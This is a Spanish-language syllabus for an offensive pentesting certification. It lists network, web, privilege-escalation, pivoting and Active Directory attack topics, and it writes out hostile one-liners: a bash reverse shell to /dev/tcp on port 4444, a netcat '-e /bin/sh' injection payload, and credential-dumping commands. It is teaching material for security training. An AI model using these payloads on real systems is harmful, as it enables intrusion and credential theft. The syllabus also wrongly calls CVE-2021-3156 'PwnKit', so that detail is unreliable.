CERTISYSNET

certisysnet-solutions.com/capacitacion/

CERTIFIED BLACK HAT PENTESTING EXPERT – NETWORK & WEB EXPLOITATION

🎓 CERTIFICACIÓN

Black Hat Pentesting – Network & Web Exploitation

TEMARIO

TEMARIO CBHPX – Black Hat Pentesting eXpert

CURSO 1: Fundamentos Profesionales en Ciberseguridad y Pentesting Realista

- Certificación CertiSysNet – Enfoque Realista y Profesional:
  - Por qué elegir CertiSysNet: metodología práctica, escenarios corporativos reales
  - Laboratorios diseñados con entornos vulnerables multi-nivel
  - Aplicación de estándares globales: MITRE ATT&CK, OWASP, ISO/IEC 27001
  - Evaluación por impacto y técnicas ofensivas reales utilizadas en Red Teaming
- Formación Progresiva para Certificaciones Internacionales:
  - Preparación técnica para OSCP, PNPT, eJPTv2, CRTP, CRTE, eCPTX, WPTX
  - Mapeo temático con certificaciones: pivoting, escalada, explotación web, Active Directory
  - Simulación de entornos reales de infraestructura corporativa para validación de skills
- Método de Aprendizaje y Filosofía del Curso:

- “Menos libros, más shell” – Prioridad al aprendizaje haciendo (hands-on first)
- Aplicación del modelo "ATAQUE – EVIDENCIA – DEFENSA"
- Enfoque por vectores y escenarios: cada tema deriva en una situación ofensiva
- Laboratorios autoexplicativos, encadenados y ejecutables sin conexión

- Fundamentos Teóricos de Ciberseguridad:
  - Principios de Confidencialidad, Integridad y Disponibilidad (CIA Triad)
  - Diferencias entre Ciberseguridad, Seguridad Informática y Hacking Ético
  - Vulnerabilidad vs Exposición vs Riesgo
  - Superficie de ataque: definición, reducción y medición
- Fundamentos Técnicos Iniciales:
  - Redes TCP/IP: IP, puertos, protocolos comunes (FTP, SSH, HTTP, SMB)
  - Arquitectura cliente-servidor y funcionamiento de los sockets
  - Comandos esenciales de Unix/Linux para el hacking ofensivo

  - Introducción a Kali Linux y su uso como plataforma ofensiva
- Pentesting y Hacking Ético:
  - Diferencias entre Pentesting, Auditoría y Test de Intrusión
  - Fases del Pentest: Reconocimiento, Enumeración, Explotación, Post-Explotación y Reporte
  - Tipos de pruebas: Black Box, Gray Box y White Box
  - Modelos de evaluación: Red Team vs Blue Team vs Purple Team
- Ética Profesional y Marco Legal:
  - Hacking Ético bajo contrato – Alcance, permisos y NDAs
  - Normativas internacionales: GDPR, ISO/IEC 27001, NIST
  - Delitos informáticos: tipificación, consecuencias y casos reales
  - Código de conducta del hacker ético (EC-Council, Offensive Security, SANS)
- Vulnerabilidades, CVEs y Estándares de Clasificación:
  - Qué es un CVE (Common Vulnerabilities and Exposures)
  - Referencias clave: NVD, MITRE, CWE, CAPEC

  - CVSSv3: cálculo de riesgo técnico e impacto (Vector Base, Temporal y Ambiental)
  - Ejemplo: CVE-2021-3156 – Escalada de privilegios en sudo (PwnKit)
- Clasificación de Criticidad de Vulnerabilidades:
  - Rango de severidad: Crítico (9.0–10.0), Alto (7.0–8.9), Medio (4.0–6.9), Bajo (0.1–3.9)
  - Análisis de impacto en CIA y vectores de ataque
  - Prioridad de remediación basada en exposición real y explotabilidad
- Reporte Técnico y Normativas en Pentesting:
  - Estructura profesional del reporte de prueba de penetración
  - Incluir: descripción, evidencia, impacto, mitigación y referencia
  - Enfoque basado en riesgos: visualización por impacto y criticidad
  - Formatos utilizados en consultoría profesional: Word, PDF, HTML interactivo
- Normativas Profesionales en Ciberseguridad:
  - ISO/IEC 27001: Gestión de Seguridad de la Información

- ISO/IEC 27002: Controles de seguridad para pentesters y auditores
- Normas OWASP: evaluación de aplicaciones web y servicios expuestos
- Marco ATT&CK de MITRE como guía de técnicas ofensivas por fase

CURSO 2: Técnicas de Exploración y Análisis de Servicios

- Uso de Kali Linux como Plataforma de Análisis:
- Configuración de entornos vulnerables simulados (máquinas objetivo)
- Herramientas preinstaladas: Nmap, Netcat, Nikto, Gobuster, Enum4Linux
- Trabajo en red interna aislada para reconocimiento sigiloso
- Actualización del sistema y repositorios de vulnerabilidades

- Navegación y Gestión del Sistema de Archivos en Linux:
  - Visualización de archivos con `ls`, `cat`, `less`, `file`
  - Movimiento entre directorios con `cd`, `pwd`, `tree`
  - Creación de directorios: `mkdir`, `touch`, `nano`
  - Manejo de nombres con espacios: comillas dobles, escapado (`\\`)

    - Eliminación segura de archivos y carpetas con `rm -rf`
- Búsqueda de Archivos Críticos y Comandos en el Sistema:
    - Búsqueda con `find`, `locate`, `which`, `whereis`, `grep`
    - Identificación de archivos con permisos inseguros
    - Extracción de configuraciones sensibles (`.conf`, `.ini`, `.log`)
    - Uso de `grep` para localizar credenciales y patrones dentro de archivos
- Escaneo de Puertos y Servicios en Red:
    - Escaneo rápido con `nmap -F` y escaneo completo con `nmap -p-`
    - Identificación de versiones con `nmap -sV` y sistemas operativos con `-O`
    - Verificación de puertos específicos en host remoto (`nc`, `telnet`, `nmap`)
    - Modo escucha con `nc -lvp` para pruebas de conexión y recepción de shells
- Consulta de Exploits y Vulnerabilidades:
    - Uso de `searchsploit` para búsquedas locales de CVEs y PoCs
    - Correlación de versiones detectadas con exploits públicos

    - Extracción y edición de exploits desde la base de Exploit-DB
- Detección Activa de Servicios y Evaluación de Exposición:
    - Escaneo de servicios con scripts NSE (`nmap --script vuln`)
    - Recolección de banners y fingerprint con `netcat`, `curl`, `nmap`
    - Enumeración de rutas web con `Gobuster`, `dirb`, `wfuzz`
    - Recolección de metadatos: títulos, versiones, headers HTTP
- Automatización y Análisis Masivo:
    - Automatización de escaneo con `nmap -iL` y salida a XML
    - Integración con herramientas como `Eyewitness`, `Wapiti`, `Nikto`
    - Escaneo paralelo de múltiples hosts o subredes con `masscan`
- Fuerza Bruta y Ataques a Autenticaciones Mal Implementadas:
    - Ataques con `Hydra`, `Medusa` y `Ncrack` contra servicios como FTP, SSH, HTTP

- Uso de diccionarios (`rockyou.txt`, `darkc0de.lst`) y personalización de combos
- Detección de login forms vulnerables en interfaces web
- Bypass de mecanismos de autenticación débiles o sin captcha

- Laboratorios Prácticos:
  - Diseño de ejercicios orientados a escaneo, descubrimiento y análisis de superficie
  - Captura de evidencias, resultados y vectores a explotar en módulos posteriores
  - Establecimiento de puntos de pivoting futuros desde máquinas exploradas
- Introducción a los Labs:
  - Metodología: análisis ➔ ejecución ➔ validación ➔ documentación
  - Herramientas utilizadas por laboratorio: comandos exactos y outputs esperados
  - Simulación de escenarios reales en cada actividad

CURSO 3: Explotación de Servicios de Red

- FTP – Infiltración Estratégica y Abuso de Transferencias:
  - Reconocimiento de acceso anónimo y escritura remota

    - Explotación de VSFTPD 2.3.4 con shell reversa por backdoor
    - Transporte de payloads (webshells, reverse shells) vía FTP
    - Enumeración profunda con FTPWalk y mapeo de estructura de archivos
    - Acceso lateral aprovechando cronjobs con rutas FTP como persistencia
- SSH – Compromiso Silencioso de Canales Seguros:
    - Fuerza bruta de credenciales usando diccionarios optimizados (Hydra, CrackMapExec)
    - Enumeración de archivos `.ssh`, `.bash_history`, y abuso de claves privadas expuestas
    - Persistencia por modificación de `authorized_keys`
    - Hijacking de sesiones activas mediante SSH Agent y captura de sockets
    - Abuso de configuraciones vulnerables: `PermitRootLogin`, `PasswordAuthentication`
- SMTP – Vector Encubierto para Ataques BEC y Phishing Interno:
    - Enumeración de usuarios internos con comandos VRFY, EXPN, RCPT TO

- SMTP Spoofing para impersonación de CEOs y envío de malware
- Abuso de servidores Open Relay como trampolines para exfiltración
- Inserción de cabeceras manipuladas para saltarse filtros de SPAM
- Fingerprinting de servidores: Exim, Postfix, Sendmail

- SNMP – Vulnerabilidad Invisible en Infraestructura Crítica:
  - Uso de SNMPWalk y OneSixtyOne para listar interfaces, usuarios, y rutas
  - Filtrado de community strings inseguras: `public`, `private`, `manager`
  - Acceso a configuración completa de routers/firewalls por OID leaks
  - Extracción de contraseñas, SNMP trap settings y mapas de red interna
  - Descubrimiento de dispositivos invisibles a escaneo clásico
- MySQL – Explotación de Motores de Base de Datos:
  - Login sin contraseña en entornos legacy (`mysql -u root -p` vacío)
  - Extracción de hashes para cracking offline con `john` y `hashcat`

    - UDF Injection: ejecución de comandos del sistema desde MySQL
    - Creación de shell inversa desde función maliciosa persistente
    - Uso de MySQL como túnel de pivoting interno hacia el sistema host
- Redis – Persistencia Avanzada vía Acceso a Memoria:
    - Conexión sin autenticación (`redis-cli`) y lectura de estructura de datos
    - Creación de acceso SSH remoto escribiendo `authorized_keys` como entrada
    - Uso de cron remotos y `save` malicioso para ejecutar comandos arbitrarios
    - Uso ofensivo de `CONFIG SET` para escalada y evasión
- SMB – Acceso a Recursos No Autenticados y Explotación Crítica:
    - Enumeración profunda de shares y usuarios con `enum4linux`, `smbclient`, `smbmap`
    - Descarga de archivos críticos como `.pst`, contraseñas en texto plano, scripts de respaldo
    - Detección de vulnerabilidades como EternalBlue (MS17-010) y BlueKeep

    - GPP Password Disclosure: extracción de contraseñas desde `Groups.xml` en SYSVOL
    - Pivoting usando SMB para conexión con otros equipos del dominio
- NFS – Acceso No Controlado y Montaje de Directorios Críticos:
    - Listado de recursos con `showmount -e IP`
    - Montaje local de NFS con permisos root (`mount -t nfs`) para lectura/escritura total
    - Ejecución de shells persistentes desde puntos montados
    - Escalada de privilegios aprovechando UID 0 remoto no mapeado (root_squash desactivado)
- Exfiltración de Información Estratégica:
    - Compresión y empaquetado con `tar`, `gzip`, `zip` para ofuscación
    - Exfiltración por canales alternativos: DNS, FTP, HTTP POST, Git
    - Uso de `base64`, `xxd`, `openssl enc` para codificación y cifrado de archivos
    - Encadenamiento de scripts bash/python para extracción automática de logs, claves y configuraciones

- Laboratorios Avanzados con Metasploit:
  - Explotación automatizada de servicios FTP, SSH, SNMP, MySQL mediante módulos específicos
  - Uso de `auxiliary/scanner/*` para descubrimiento masivo
  - Sesiones `meterpreter` con carga de post módulos (`hashdump`, `enum_users`, `portfwd`)
  - Encadenamiento de exploits y pivoting entre servicios vulnerables
- Conclusión Técnica y Buenas Prácticas:
  - Herramientas ofensivas aplicadas: Nmap, Hydra, Enum4Linux, CrackMapExec, Redis-CLI, Showmount, Metasploit
  - Impacto sobre la CIA Triad en cada servicio analizado
  - Recomendaciones de mitigación por servicio: autenticación, filtrado, hardening, segmentación
  - Referencias cruzadas: OWASP Testing Guide, MITRE ATT&CK Tactics, CVE/CWE Relevantes, ISO/IEC 27001 controles

CURSO 4: Post-Explotación y Escalada de Privilegios

- Enumeración Post-Explotación – Reconocimiento del Entorno:

  - Detección del contexto actual: `whoami`, `id`, `hostname`, `uname -a`
  - Enumeración de usuarios conectados, grupos y sesiones activas (`w`, `last`, `users`)
  - Revisión de procesos sensibles y demonios activos (`ps aux`, `netstat -tulnp`)
  - Variables de entorno críticas: PATH, SHELL, USER, HOME, LD_PRELOAD
  - Extracción de historiales de comandos (`.bash_history`, `.zsh_history`, `.mysql_history`)
  - Exploración de rutas privilegiadas: `/etc/passwd`, `/etc/shadow`, `/home/`, `/root/`
- Escalada por Hashes – Ataques Offline y Reutilización de Credenciales:
  - Extracción de hashes con `unshadow` y `cat /etc/shadow` (requiere root)
  - Crackeo con John the Ripper usando `rockyou.txt`, `--format=sha512crypt`, `--rules`
  - Conversión y manipulación de hashes: `john2hashcat`, `ssh2john`, `keepass2john`, `zip2john`
  - Acceso lateral mediante contraseñas recicladas o SSH con claves crackeadas

- Escalada por Credenciales Inseguras – Cazando Contraseñas en Texto Plano:
  - Búsqueda en `.bash_history`, `.git-credentials`, `.env`, `.npmrc`, `.pgpass`, `.my.cnf`
  - Extracción de claves SSH olvidadas o backups en carpetas públicas
  - Revisión de archivos de configuración mal protegidos (`config.php`, `.ini`, `settings.py`)
  - Acceso a bases de datos MySQL, Redis, MongoDB con usuarios root sin clave
- Binarios SUID/GUID – Escalada Mediante Comandos con Permisos Elevados:
  - Identificación con `find / -perm -4000 -type f 2>/dev/null`
  - Explotación directa con ayuda de GTFOBins (`less`, `nano`, `cp`, `awk`, `vim`, `find`, `perl`, `python`)
  - Manipulación de variables PATH y environment injection
  - Uso de herramientas disponibles en el sistema para evasión de restricciones (`tar`, `env`, `base64`)
- Cron Jobs Mal Configurados – Persistencia y Ejecución Programada:

    - Listado de tareas con `crontab -l`, `ls /etc/cron*`, `systemctl list-timers`
    - Abuso de scripts programados con permisos de root o acceso de escritura global
    - Inserción de payloads reversos (`bash -i >& /dev/tcp/x.x.x.x/4444 0>&1`)
    - Persistencia combinando cronjobs con conexiones inversas por Netcat, Python o SSH
- Uso de Servicios Internos para Escalada de Privilegios:
    - Redis: escritura de `authorized_keys` desde el servicio expuesto
    - Jenkins: uso de Script Console para ejecución remota como SYSTEM/root
    - Docker: escape de contenedor con `--privileged`, `/proc`, `chroot /host`
    - NFS: ejecución remota si está montado sin `root_squash`
- Sudo y Permisos Mal Configurados:
    - Listado de privilegios con `sudo -l` y detección de `NOPASSWD`
    - Uso de comandos peligrosos permitidos sin autenticación (vi, less, find, perl, python, awk)

    - Escalada con `sudo` sobre scripts no seguros o shells directos
    - GTFOBins para ejecución arbitraria vía `sudo`
- Escalada por Servicios Explotables Locales:
    - Procesos escuchando en localhost como root (MySQL, Redis, Apache, Jenkins)
    - Inyección de comandos en scripts mal protegidos o con rutas inseguras
    - Escape de contenedores con namespaces incorrectos o falta de AppArmor/SELinux
    - Shell inversa inyectada en servicios monitoreados o reiniciados por watchdogs
- Persistencia Post-Explotación – Acceso Duradero y Oculto:
    - Creación de nuevos usuarios con UID bajo y shell oculta (`/bin/bash` → `/dev/null`)
    - Modificación de `.bashrc`, `.profile`, `.vimrc` para lanzar shells inversas al inicio
    - Instalación de cronjobs ocultos con nombres engañosos
    - Configuración de servicios persistentes con `systemd` para conexiones inversas automáticas
- Recolección de Credenciales y Datos Sensibles:

- Robo de bases de datos de KeePass y KeePassXC → crackeo con `keepass2john`
- Extracción de cookies, sesiones y contraseñas de navegadores (Firefox, Chromium)
- Monitoreo de procesos para encontrar comandos con claves embebidas (`ps`, `grep`, `/proc`)
- Rastrear historiales de herramientas como MySQL, SSH, Redis, FTP, y herramientas personalizadas

- Conclusión Técnica:
  - Técnicas aplicadas: enumeración avanzada, hijacking, SUID exploitation, abuso de cron, sudo y servicios mal configurados
  - Herramientas clave: John the Ripper, GTFOBins, CrackMapExec, Redis-CLI, Metasploit, LinPEAS, pspy
  - Buenas prácticas de mitigación: mínimo privilegio, rotación de claves, análisis de tareas programadas, aislamiento de servicios
  - Referencias técnicas: GTFOBins, MITRE ATT&CK (T1055, T1068, T1546), CWE, OWASP, ISO/IEC 27001

CURSO 5: Técnicas de Pivoting y Movimiento Lateral

- Conceptos Clave de Pivoting y Segmentación de Redes:
  - Redes internas vs. redes segmentadas vs. redes aisladas

    - ¿Qué es el pivoting? – técnicas para expansión del control tras la intrusión inicial
    - Limitaciones de alcance post-explotación: firewall internos, rutas no visibles, ACLs
    - Importancia del tunneling, proxies y técnicas de enrutamiento lateral
    - Identificación de saltos intermedios y zonas de alta sensibilidad
- SSH Dinámico (SOCKS5) para Redireccionamiento de Tráfico:
    - Uso de `ssh -D 1080 usuario@host` para levantar túneles dinámicos
    - Configuración y prueba de `proxychains.conf` para enrutar herramientas
    - Escaneo interno tras el salto: `nmap`, `gobuster`, `curl`, `wget` a través de ProxyChains
    - Bypass de cortafuegos internos usando el canal SSH cifrado
    - Acceso oculto a sistemas internos con rutas no expuestas directamente
- Port Forwarding Local y Remoto con SSH:
    - `ssh -L 3306:localhost:3306` ➔ Exposición de servicios internos (MySQL, Redis, RDP)

    - `ssh -R 8080:127.0.0.1:80` → Redirección desde máquina víctima hacia atacante
    - Captura de contraseñas y tokens en servicios web internos mal configurados
    - Establecimiento de persistencia mediante puertos redirigidos silenciosamente
- SSHuttle – VPN Transparente en Entornos Linux:
    - Montaje de pseudo-VPN entre atacante y red interna: `sshuttle -r usuario@host 10.10.0.0/24`
    - Acceso directo a subredes completas sin modificar firewalls o rutas
    - Detección y escaneo de hosts, servidores web, impresoras, APIs privadas
    - Acceso a puertos internos para explotación directa desde Kali
- ProxyChains – Encadenamiento de Proxies para Ataques Profundos:
    - Encadenamiento de múltiples hosts comprometidos con socks encadenados
    - Modificación avanzada del archivo `proxychains.conf` para múltiples saltos
    - Integración con herramientas ofensivas: `nmap`, `nikto`, `wpscan`, `sqlmap`, `hydra`

  - Evasión de controles segmentados con tunneling progresivo
- Pivoting y Movimiento con Metasploit Framework:
  - Uso del módulo `autoroute` para añadir rutas a nuevas subredes comprometidas
  - `portfwd` para redireccionar puertos internos de forma discreta
  - Combinación con `meterpreter` para escaneo de redes no visibles desde Kali
  - Shell inversa con `reverse_https` para ocultamiento en tráfico legítimo
- Pivoting desde Máquinas con Acceso Limitado:
  - Uso de WebShells (PHP, ASPX) para establecer túneles y transferencias
  - Compilación y ejecución de binarios personalizados con `socat`, `chisel`, `plink`
  - Levantamiento de servidores HTTP y FTP para entrega de herramientas internas
  - Evasión de firewalls, IPS y proxies corporativos
- Escaneo y Descubrimiento de Activos Internos:
  - Descubrimiento de servicios internos con `nmap`, `masscan`, `netcat`, `smbclient`, `ldapsearch`

    - Explotación de SNMP para mapa de red y dispositivos visibles
    - Recolección de credenciales desde shares SMB, servicios LDAP, tokens API
    - Uso de `arp-scan`, `ip r`, `ip a`, `route` para analizar estructura de red desde la víctima
- Movimiento Lateral en Redes Empresariales:
    - Uso de `PsExec`, `wmiexec`, `smbexec` y `evil-winrm` para moverse en entorno Windows
    - Robo de hash con `mimikatz`, `lsassy`, `secretsdump.py`
    - Acceso remoto con credenciales válidas (Pass-the-Hash, Pass-the-Ticket)
    - Escalada en dominio mediante ataques encadenados: Relay → Impersonación → Shell
- Persistencia Multi-Nivel y Acceso Redundante:
    - Creación de múltiples túneles de entrada: SSH, Reverse Shell, Proxy SOCKS, Chisel
    - Uso de `systemd`, `cron`, `rc.local` para mantener conexiones activas
    - Autossh, `autossh -M 0 -f -N -D 1080 usuario@host` para reconexión automática

- Uso de `ngrok`, `frp`, `serveo`, `cloudflared` como puentes externos en redes filtradas

- Conclusión Técnica – Riesgos, Herramientas y Contramedidas:
  - Herramientas aplicadas: SSH, ProxyChains, SSHuttle, Chisel, Metasploit, Socat, Ngrok
  - Riesgos reales: expansión no autorizada, robo de información, movimiento encubierto
  - Controles recomendados: segmentación estricta, detección de túneles, EDR, Zero Trust
  - Referencias técnicas: MITRE ATT&CK (T1570, T1090, T1021), CVE relacionados, ISO/IEC 27001

CURSO 6: Explotación de Servicios Web

- Reconocimiento Inicial de Aplicaciones Web:
  - Escaneo de rutas ocultas con DIRB, Gobuster y wfuzz
  - Detección de tecnologías y frameworks backend (PHP, JSP, Laravel, Django, etc.)
  - Fingerprinting de servidores (Apache, Nginx, IIS) y CMS (WordPress, Joomla, Drupal)
  - Descubrimiento de subdominios internos con Sublist3r, Amass y DNSdumpster
  - Identificación de endpoints vulnerables mediante Wapiti y Nikto

- SQL Injection (SQLi) – Acceso a Bases de Datos Internas:
  - Inyecciones clásicas (`' OR '1'='1`, `UNION SELECT`, `ORDER BY`)
  - Blind SQLi – Bypass mediante respuestas booleanas o diferencias de tiempo
  - SQLi Out-of-Band (OOB) para exfiltración de datos en entornos restringidos
  - Automatización con `sqlmap`: `--dump`, `--file-read`, `--os-shell`, `--level`
  - Escalada a RCE mediante funciones SQL peligrosas (xp_cmdshell, UDF)
- XSS – Cross-Site Scripting:
  - XSS Reflejado: ejecución inmediata vía parámetros GET
  - XSS Almacenado: persistencia en base de datos o archivos de logs
  - XSS DOM-Based: explotación de `document.location`, `innerHTML`, `eval()`
  - Payloads avanzados con evasión: HTML entities, base64, Unicode
  - Robo de cookies, redirección a phishing, manipulación de DOM
- Command Injection – RCE Encubierta:

    - Campos vulnerables: IP, nombre de archivo, usuarios, parámetros ocultos
    - Payloads: `; ls`, `&& whoami`, `| nc -e /bin/sh`
    - Escalada de acceso a reversas en Bash, Python, Netcat o PHP
    - Automatización con Commix: bypass de filtros, detección automática de vector
    - Inclusión de comandos en procesos internos (`ping`, `traceroute`, `tar`)
- File Upload – Webshell y Persistencia:
    - Subida de PHP/ASPX/JSP shells: bypass de extensiones y MIME
    - Validación client-side vs. server-side: cómo burlarlas
    - Bypass por doble extensión (`shell.php.jpg`), magic bytes, content-type manipulados
    - Uso de WebShells: C99, b374k, kcmd.php, ChinaChopper
    - Persistencia vía archivos cargados: cron.php, .htaccess, bashrc
- LFI y RFI – Local/Remote File Inclusion:
    - LFI para lectura de archivos internos: `/etc/passwd`, `access.log`, `proc/self/environ`
    - Log Poisoning + LFI → RCE encubierta

- RFI para ejecución remota de código malicioso desde servidor atacante
- Uso de `php://filter`, `data://`, `zip://`, `input://` para evasión
- Inyección remota vía wrappers PHP e inclusión de payloads dinámicos

- Open Redirect y CSRF – Manipulación de Navegación:
  - Redirecciones a sitios controlados por el atacante (`next=/evil.com`)
  - Captura de tokens de sesión vía redireccionamiento malicioso
  - CSRF en formularios: modificación de contraseñas, transferencias, configuraciones
  - Explotación con iframes ocultos, imágenes trampa y formularios invisibles
- Broken Authentication & IDOR:
  - Autenticaciones frágiles, sin verificación de sesión o token
  - IDOR (Insecure Direct Object Reference): modificación directa de `user_id`, `invoice=105`
  - Secuencias automatizadas con Burp Intruder para encontrar recursos de otros usuarios

    - Explotación masiva en APIs REST con lógica de acceso rota
- Brute Force & Credential Stuffing:
    - Automatización de ataques por diccionario con Hydra, Burp Intruder, wfuzz
    - Listas de contraseñas populares: rockyou, crackstation, leaks reales (LinkedIn, Adobe)
    - Bypass de mecanismos anti-fuerza bruta con rotación de IP, headers y tiempos
    - Reutilización de contraseñas en múltiples portales
- Interacción y Automatización con Burp Suite:
    - Proxy: interceptar, modificar y analizar peticiones/respuestas HTTP
    - Repeater: modificación de parámetros paso a paso
    - Intruder: automatización de ataques por fuerza bruta y fuzzing
    - Comparer: comparación binaria y por palabras entre respuestas
    - Decoder: decodificación Base64, URL, HTML, HEX, Unicode
- Casos Especiales y Laboratorios Encadenados:
    - Escenarios con OWASP Juice Shop, DVWA, bWAPP y portales bancarios simulados

- Encadenamiento de vulnerabilidades: SQLi + File Upload + RCE
- Simulación de robo de sesión y escalada vertical en paneles administrativos
- Explotación en entornos realistas con múltiples capas de autenticación

- Conclusión Técnica:
  - Herramientas aplicadas: sqlmap, Burp Suite, Commix, wfuzz, nikto, ffuf, Firefox DevTools
  - Normativas y referencias: OWASP Top 10, CWE, HackerOne, ISO/IEC 27034
  - Contramedidas: validación robusta del lado servidor, control de sesión, WAF y políticas CSP
  - Impacto real en confidencialidad, integridad, disponibilidad y reputación

CURSO 7: Active Directory e Infraestructura Windows

- RECONOCIMIENTO EN ENTORNOS WINDOWS:
  - Identificación de Controladores de Dominio mediante `nslookup`, `dig`, `nmap -p 53,88,389,445`
  - Reconocimiento DNS: análisis de zonas internas, SRV records y delegaciones en Active Directory
  - Silent Scan: escaneo furtivo de Kerberos, LDAP, SMB, RDP y RPC con Nmap + Hping3

- Descubrimiento de servicios internos vía NetBIOS (`nmblookup`, `nbtscan`), SNMP leaks y servicios LLMNR

- ENUMERACIÓN LDAP Y ESTRUCTURA DEL DOMINIO:
  - Consulta anónima con `ldapsearch -x -H ldap://DC_IP -b "" -s base` y obtención de `namingContexts`
  - Mapeo de objetos organizacionales: OU, CN, usuarios y grupos mediante `windapsearch`, `ldapdomaindump`
  - Extracción de descripciones y atributos sensibles (`description`, `mail`, `logonCount`, `pwdLastSet`)
  - Detección de versiones y roles FSMO mediante `ldap-rootdse`, `netdom query`
- SMB & SHARES OCULTOS:
  - Enumeración agresiva con `smbclient -L`, `enum4linux`, `smbmap`, `rpcclient`
  - Acceso no autenticado a shares como `SYSVOL`, `NETLOGON`, `ADMIN$` y otros recursos compartidos ocultos
  - Descarga de archivos de políticas `Groups.xml` y credenciales embebidas (GPP Passwords)
  - Detección de SMB Signing y Null Sessions (`smbclient -N`, `crackmapexec smb`) para ataques relay

- KERBEROS – TÉCNICAS CLAVE:
  - AS-REP Roasting: extracción de hashes sin autenticación para cuentas con "Do not require preauth"
  - Kerberoasting: enumeración de SPNs con `GetUserSPNs.py`, obtención de TGS y crackeo offline con Hashcat
  - Abuso de tickets TGT/TGS con `Mimikatz`, `Rubeus` (ticket extraction, pass-the-ticket)
  - Golden Ticket Attack y explotación de delegación unconstrained para dominio completo
- ENUMERACIÓN Y ATAQUES DE FUERZA BRUTA:
  - Enumeración de usuarios válidos con `kerbrute`, `crackmapexec`, `rpcclient -U ""`
  - Validación de credenciales con ataques bruteforce (RPC, SMB, WinRM, RDP)
  - Bypass de políticas de lockout con slow spray, tuning de `--delay`, `--resume`, `--threads`
  - Consulta de políticas con `gpresult`, `rsop.msc`, `secedit`, `net accounts`
- RELAY Y CAPTURA DE HASHES:
  - Relay con `ntlmrelayx.py` para tomar sesiones NTLM hacia SMB, LDAP, HTTP, etc.

- Captura de hashes con `Responder`, `mitm6`, `Inveigh` en redes que usan LLMNR/NBNS/MDNS
- Uso de `Pass-the-Hash`, `Pass-the-Ticket`, `Overpass-the-Hash` en sesiones administradas
- Abuso de certificados ADCS (PetitPotam + ESC1/ESC8)

- POST-EXPLOTACIÓN Y WINRM:
  - Acceso remoto como Administrator con `evil-winrm`, `psexec.py`, `wmiexec.py`
  - Extracción de credenciales con `Seatbelt`, `SharpUp`, `mimikatz sekurlsa::logonpasswords`
  - Acceso a archivos críticos: `cred.xml`, `NTDS.dit`, `vault`, `SAM`, `LSASS`
  - Persistencia con scripts PowerShell, modificación de registro (`HKCU\Software\Microsoft\Windows\CurrentVersion\Run`)
- ESCALADA DE PRIVILEGIOS EN WINDOWS:
  - Enumeración local con `WinPEAS`, `PrivescCheck`, `Accesschk`, `whoami /priv`
  - Abuso de binarios inseguros (`AlwaysInstallElevated`, `Unquoted Service Paths`, `DLL Hijacking`)

  - Programación de tareas y ejecución como SYSTEM (`schtasks`, `at`, `services.msc`)
  - Escape de entornos restringidos con `runas`, `token impersonation`, `Named Pipe Impersonation`
- TAKEOVER DE DOMINIO:
  - Dump completo del dominio con `mimikatz DCSync`, `secretsdump.py`, `lsadump::lsa`
  - Modificación de GPOs para ejecución remota de payloads (`scripts`, `registry`, `logon.bat`)
  - Elevación a Domain Admins con `net group` o modificación de ACLs (`Add-DomainObjectAcl`)
  - Golden Ticket y DSRM backdoor para persistencia de dominio
- CONCLUSIÓN TÉCNICA:
  - Herramientas clave: Impacket, Kerbrute, CrackMapExec, BloodHound, Responder, Rubeus, PowerView, Evil-WinRM, SharpHound
  - Cadena de ataque: DNS Recon → LDAP Enum → Kerberos Exploit → Relay → PrivEsc → Domain Takeover
  - Mitigación: bloqueo de LLMNR/NBNS, detección de anomalías con Sysmon, hardening de GPOs y monitoreo de eventos 4624/4672

- Referencias: MITRE ATT&CK (T1558, T1003, T1207, T1486), OWASP AD Attack Path, ISO/IEC 27001:2022

https://certisysnet-solutions.com/capacitacion/